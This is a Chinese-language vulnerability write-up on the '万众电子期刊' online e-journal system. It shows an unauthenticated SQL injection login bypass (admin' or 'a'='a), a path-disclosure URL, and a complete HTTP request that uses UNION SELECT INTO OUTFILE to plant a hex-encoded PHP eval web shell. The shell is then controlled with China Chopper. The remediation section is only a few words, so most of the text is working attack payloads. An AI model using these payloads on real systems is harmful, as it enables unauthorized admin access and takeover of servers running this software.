万众电子期刊在线阅读系统PHP和ASP最新版本
1、通杀SQL注入
2、PHP版本getshell(无需登录)
3、爆网站路径
1、SQL注入问题,PHP和ASP都通杀!
PHP版本:
后台登录代码,问题出在校验函数处:
对应问题global.fun.php
//登录判断 function function_login() { session_start(); function_safety(); $username = function_cleanstr($_POST['username']); $password = md5($_POST['password']); $code = md5(strtoupper($_POST['code'])); if ($username == '' or $password == '') { function_alert('用户名和密码不能为空!', 'index.php'); } if ($code != $_SESSION['code']) { function_alert('验证码错误!', 'index.php'); } if (!_query("SELECT * FROM magacms_user WHERE username='$username' AND password='$password' LIMIT 1")) { function_alert('用户名和密码错误!', 'index.php'); } $intime = date('Y-m-d H:i:s', time()); $inip = function_getRealIp(); // setcookie('username', md5($username)); //采用cookie记忆登录状态 $_SESSION['username'] = $username; //采用session记忆登录状态 _update("UPDATE magacms_user SET intime='$intime',inip='$inip' WHERE username='$username'"); function_alert('', 'admin_main.php'); }
在获取用户这个参数的时候使用$username = function_cleanstr($_POST['username']);进行了一些简单的过滤,跟踪发现函数function_cleanst只是对参数做了html编码,如下:
//字符串格式化 function function_cleanstr($str) { $newstr = htmlspecialchars(trim($str)); //删除两侧空格并转码html return $newstr; }
htmlspecialchars只会对<>等HTML标签字符进行过滤,因此对于这个username字段构成了注入,直接代入
SELECT * FROM magacms_user WHERE username='$username' AND password='$password' LIMIT 1
SQL查询。
因此对于任意系统,只需知道用户名即可登录系统。。。
登陆成功。。。
执行的SQL:
241 QuerySELECT * FROM magacms_user WHERE username='admin' OR 'A'='A' AND password='0cc175b9c0f1b6a831c399e269772661' LIMIT 1
ASP版本:
代码分析类似跟PHP类似
登录提交:admin' or 'a'='a
登陆成功
2、爆网站路径
直接提交:/admin/includes/upload.inc.php?action=upfile
如图
爆出路径为:
E:\phpStudy\WWW\wwzzs\admin\includes\upload.inc.php
3、PHP版本getshell
POST提交
POST /wwzzs/admin/?action=login HTTP/1.1 Host: localhost:808 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://202.113.76.211:808/wwzzs/admin/ Cookie: PHPSESSID=923954107451195a03f88567d6fa0acc Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 183 username=admin' and 1=2 UNION SELECT 0x3C3F70687020406576616C28245F504F53545B2741275D293B3F3E,2,3,4,5 into outfile 'E:/phpStudy/WWW/wwzzs/upload/bannerpic/t.php'#&password=a&code=A56M
访问:
http://localhost:808/wwzzs/upload/bannerpic/t.php
连接菜刀:
执行的SQL:
249 QuerySELECT * FROM magacms_user WHERE username='admin' and 1=2 UNION SELECT 0x3C3F70687020406576616C28245F504F53545B2741275D293B3F3E,2,3,4,5 into outfile 'E:/phpStudy/WWW/wwzzs/upload/bannerpic/t.php'#' AND password='0cc175b9c0f1b6a831c399e269772661' LIMIT 1
执行完成。
修复方案:
后台登录过滤。。。
文件访问限制。。。